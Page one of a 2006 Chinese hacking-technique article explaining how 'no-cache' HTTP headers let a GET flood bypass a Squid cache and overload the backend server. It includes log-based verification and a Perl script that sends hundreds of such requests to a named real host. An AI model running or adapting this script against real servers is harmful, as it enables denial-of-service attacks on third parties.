新客网WWW.XKER.COM:致力做中国最专业的网络学院!
学院: 操作系统 - 网络应用 - 服务器 - 网络安全 - 工具软件 - 办公软件 - Web开发 - 数据库 - 网页设计 - 图形图像 - 媒体动画 - 硬件学堂 - 存储频道 - QQ专区
您的位置:首页 > 网络学院 > 网络安全 > 黑客技术 > 正文:利用HTTP指令进行攻击之Cache篇

利用HTTP指令进行攻击之Cache篇

新客网 XKER.COM 2006-12-06 来源: 收藏本文
 

技术背景

随着Web技术越来越广泛的应用到我们的生活,Web应用的架构的设计者和开发者不得不面对这么一个问题,那就是Web不断增长的访问量和负载,随之提升性能的相关技术应运而生,如DNS轮询、负载均衡、Cache技术等等。如果有兴趣,大家不妨对大型网站进行一下抓包,可以发现很多网站都采用了squid反向代理,通过Squid的Cache提供高速Web响应。

攻击原理

Cache机制不仅给服务器处理带来了很大程度的性能提升,一定程度上,也大大提升了Web服务提供商应对Get Flood的能力。

用户对网站的访问,大多被分布的Cache服务器分担了,由于Cache服务器的数量以及Cache的良好处理吞吐性能,即便发生了Get Flood等攻击,此种机制也可以很好的自身消化掉攻击负载,并且即便单一Cache主机瘫痪也不会对整体Web服务造成影响。

我们可以假设这样一种形势,如果攻击者可以穿过Cache,直接将负载压力传达到后台提供HTTP服务的服务器,将这台机器攻击瘫痪,那么前台的服务器也将因为Cache无法得到更新而服务受到影响,达到拒绝服务的效果。

那么是否有方法可以达到上述效果呢?答案是肯定的,那就是通过HTTP指令来达到此种攻击。

HTTP协议(v1.1和v1.0)都提供了Cache处理字段,其中字段Cache-Control(v1.0中为Pragma),当这个字段的值为no-cache时,大多数cache软件将不对请求作出响应,而直接将请求传递到后台服务器,利用这个指令的机制,我们就可以实现我们所要达到的攻击效果。

效果验证

为了验证这种理论上的攻击形式,Coolc架设了简单的应用环境进行验证

正常访问

而在正常情况下,Squid会在内存Cache中处理所有请求,可以发现大多数请求的压力根本无法到达Apache,而直接在Squid消化。如下所示,500个请求,只有一个到达了Apache,而这个访问,只是Squid为了到Apache拉取最初始的文件内容造成的。

root@coolc:~/squid-2.5.STABLE12#cat apache-host.example.com-access_log  wc -l
    1
root@coolc:~/squid-2.5.STABLE12# cat squid_access.log  awk '{print $4'} uniq -c
499 TCP_MEM_HIT/200

指令绕过

当Squid在处理访问时,如果发现特殊的标志位后,其将会直接将请求向后转发,同事将在访问日志中记为一条TCP_CLIENT_REFRESH_MISS。通过下面试验,我发送了500个带特殊标志位的HTTP请求,直接越过了Cache,而将压力直接加载到后台,下面的结果我们验证了效果。

用Pragma: no-cache绕过
root@coolc:~/squid-2.5.STABLE12#cat apache-host.example.com-access_log  wc -l
    500
root@coolc:~/squid-2.5.STABLE12# cat squid_access.log  awk '{print $4'} uniq -c
500 TCP_CLIENT_REFRESH_MISS/200

用Cache-Control:no-cache绕过
root@coolc:~/squid-2.5.STABLE12# cat apache-host.example.com-access_log  wc -l
    500
root@coolc:~/squid-2.5.STABLE12# cat squid_access.log  awk '{print $4'} uniq -c
    500 TCP_CLIENT_REFRESH_MISS/200

演示代码:

use IO::Socket;
#$host=shift(@ARGV);
$i=1;
while ($i<500) {
    $i++;
    print "\n$i\n";
    $remote = IO::Socket::INET->new(Proto => "tcp",
    PeerPort => "80",
    #PeerAddr => "blog.xfocus.net"
    PeerAddr => "test.qq.com"
    )  die(print "cant't connet $!");
    $remote->autoflush(1);
    print  $remote "GET /index.html HTTP/1.1\r\nAccept:image/gif image/x-xbitmap, 
image/jpeg,application/x-shockwave-flash\r\nReferer: http://www.google.com\r\nAccept:-
Language: zh-cn\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; 
SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\r\nCache-Control:no-
cache\r\nHOST:test.qq.com\n\n";
  #print <$remote>;
  close $remote;
  #sleep 1;
    }

共3页: 上一页 [1] [2] [3] 下一页
收藏】 【评论】 【推荐】 【投稿】 【打印】 【关闭
发表评论
要记得去论坛讨论,点击注册新会员匿名评论
评论内容:不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
阅读排行
随机推荐
实用信息推荐